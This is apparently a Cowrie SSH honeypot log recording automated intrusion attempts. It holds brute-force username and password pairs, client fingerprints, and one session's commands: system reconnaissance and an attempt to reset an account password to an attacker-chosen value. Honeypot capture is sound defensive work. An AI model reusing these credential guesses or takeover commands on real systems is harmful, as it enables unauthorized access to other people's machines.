{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.825693Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":55697,"dst_ip":"10.17.0.5","dst_port":22,"session":"21b7af566472","protocol":"ssh","message":"New connection: 177.54.62.66:55697 (10.17.0.5:22) [session: 21b7af566472]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.948448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:08.953676Z","src_ip":"177.54.62.66","session":"21b7af566472","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:09.084497Z","src_ip":"177.54.62.66","session":"21b7af566472","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:09.636990Z","src_ip":"177.54.62.66","session":"21b7af566472","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:10.771111Z","src_ip":"177.54.62.66","session":"21b7af566472","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.54.62.66","src_port":53035,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba8dfa3e6f09","protocol":"ssh","message":"New connection: 177.54.62.66:53035 (10.17.0.5:22) [session: ba8dfa3e6f09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:10.897536Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:10.905893Z","src_ip":"177.54.62.66","session":"ba8dfa3e6f09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:11.036346Z","src_ip":"177.54.62.66","session":"ba8dfa3e6f09","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"3245gs5662d34","message":"login attempt [admin/3245gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:11.591091Z","src_ip":"177.54.62.66","session":"ba8dfa3e6f09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.79.37.88","src_port":38416,"dst_ip":"159.203.135.109","dst_port":22,"session":"85d2f8760736","protocol":"ssh","message":"New connection: 170.79.37.88:38416 (159.203.135.109:22) [session: 85d2f8760736]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:11.898379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:11.903137Z","src_ip":"170.79.37.88","session":"85d2f8760736","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:12.002527Z","src_ip":"170.79.37.88","session":"85d2f8760736","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"fastuser","password":"fastuser123","message":"login attempt [fastuser/fastuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:12.432871Z","src_ip":"170.79.37.88","session":"85d2f8760736","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:12.725357Z","src_ip":"177.54.62.66","session":"ba8dfa3e6f09","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:12.916573Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:12.920070Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","size":2,"shasum":"3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/3f1f9a5db692d999bb3d576b5e9956a242136e961ff3f52ba6202b1254ccdb99 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.056562Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.358631Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo -e \"superadmin\\nKp6xwnf8ntbP\\nKp6xwnf8ntbP\"|passwd|bash","message":"CMD: echo -e \"superadmin\\nKp6xwnf8ntbP\\nKp6xwnf8ntbP\"|passwd|bash","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.362198Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"Enter new UNIX password: ","message":"CMD: Enter new UNIX password: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.366130Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"Enter new UNIX password:","message":"Command not found: Enter new UNIX password:","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.370055Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/8c3ca28fa51446cb2813a0285f593056501fedefb55e81a0df2d80afec7d94f9","size":32,"shasum":"8c3ca28fa51446cb2813a0285f593056501fedefb55e81a0df2d80afec7d94f9","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/8c3ca28fa51446cb2813a0285f593056501fedefb55e81a0df2d80afec7d94f9 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.505283Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.539215Z","src_ip":"170.79.37.88","session":"85d2f8760736","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.851788Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo \"superadmin\\nKp6xwnf8ntbP\\nKp6xwnf8ntbP\\n\"|passwd","message":"CMD: echo \"superadmin\\nKp6xwnf8ntbP\\nKp6xwnf8ntbP\\n\"|passwd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.855336Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/04b70d5a3a0c4c7ad26b05d246a4821c0742cb4cc4937b4897d3acafdb161807","size":25,"shasum":"04b70d5a3a0c4c7ad26b05d246a4821c0742cb4cc4937b4897d3acafdb161807","duplicate":false,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/04b70d5a3a0c4c7ad26b05d246a4821c0742cb4cc4937b4897d3acafdb161807 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:13.989670Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:14.334447Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","message":"CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:14.337868Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","size":35,"shasum":"95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:14.475146Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:14.782473Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","message":"CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:14.786031Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","size":27,"shasum":"ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:14.923228Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:15.227085Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"ls -lh $(which ls)","message":"CMD: ls -lh $(which ls)","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:15.230402Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"which ls","message":"CMD: which ls","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:15.233265Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:15.369658Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:15.672853Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:15.675582Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":21,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:15.812086Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:16.124363Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:16.128642Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":206,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:16.264526Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:16.583961Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:16.588216Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:16.724704Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.027760Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.030960Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":55482,"dst_ip":"159.203.135.109","dst_port":22,"session":"8ebf28d7fecd","protocol":"ssh","message":"New connection: 80.94.92.186:55482 (159.203.135.109:22) [session: 8ebf28d7fecd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.041447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.066072Z","src_ip":"80.94.92.186","session":"8ebf28d7fecd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.166633Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.172871Z","src_ip":"80.94.92.186","session":"8ebf28d7fecd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.469635Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T09:54:17.473081Z","src_ip":"177.54.62.66","session":"6ade2f21fbc4","protocol":"ssh"}
